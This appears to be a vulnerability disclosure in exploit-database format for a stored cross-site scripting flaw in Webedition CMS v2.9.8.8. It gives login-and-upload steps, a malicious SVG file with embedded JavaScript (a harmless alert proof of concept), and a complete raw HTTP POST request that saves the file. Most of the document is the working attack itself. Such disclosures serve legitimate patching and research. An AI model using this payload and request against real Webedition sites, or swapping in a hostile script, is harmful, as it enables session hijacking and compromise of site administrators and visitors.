Webedition CMS 2.9.8.8 Cross Site Scripting

Exploit Title: Webedition CMS v2.9.8.8 - Stored XSSApplication: Webedition CMSVersion: v2.9.8.8   Bugs:  Stored XssTechnology: PHPVendor URL: https://www.webedition.org/Software Link: https://download.webedition.org/releases/OnlineInstaller.tgz?p=1Date of found: 03.08.2023Author: Mirabbas AğalarovTested on: Linux 2. Technical Details & POC========================================steps1. Login to account2. Go to New ->  Media -> Image3. Upload malicious svg file svg file content:"""<?xml version="1.0" standalone="no"?><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>   <script type="text/javascript">      alert(document.location);   </script></svg>"""Poc request:POST /webEdition/we_cmd.php?we_cmd[0]=save_document&we_cmd[1]=&we_cmd[2]=&we_cmd[3]=&we_cmd[4]=&we_cmd[5]=&we_cmd[6]= HTTP/1.1Host: localhostContent-Length: 761Cache-Control: max-age=0sec-ch-ua: sec-ch-ua-mobile: ?0sec-ch-ua-platform: ""Upgrade-Insecure-Requests: 1Origin: http://localhostContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: iframeReferer: http://localhost/webEdition/we_cmd.php?we_cmd[0]=switch_edit_page&we_cmd[1]=0&we_cmd[2]=73fee01822cc1e1b9ae2d7974583bb8eAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: treewidth_main=300; WESESSION=e781790f1d79ddaf9e3a0a4eb42e55b04496a569; cookie=yep; treewidth_main=300Connection: closewe_transaction=73fee01822cc1e1b9ae2d7974583bb8e&we_cea6f7e60ce62be78e59f849855d2038_Filename=malas&we_cea6f7e60ce62be78e59f849855d2038_Extension=.svg&wetmp_we_cea6f7e60ce62be78e59f849855d2038_Extension=&we_cea6f7e60ce62be78e59f849855d2038_ParentPath=%2F&we_cea6f7e60ce62be78e59f849855d2038_ParentID=0&yuiAcContentTypeParentPath=&we_cea6f7e60ce62be78e59f849855d2038_IsSearchable=1&check_we_cea6f7e60ce62be78e59f849855d2038_IsSearchable=1&we_cea6f7e60ce62be78e59f849855d2038_IsProtected=0&fold%5B0%5D=0&fold_named%5BPropertyPage_2%5D=0&fold%5B1%5D=0&fold_named%5BPropertyPage_3%5D=0&wetmp_cea6f7e60ce62be78e59f849855d2038_CreatorID=%2Fadmin&we_cea6f7e60ce62be78e59f849855d2038_CreatorID=1&we_cea6f7e60ce62be78e59f849855d2038_RestrictOwners=0&we_complete_request=1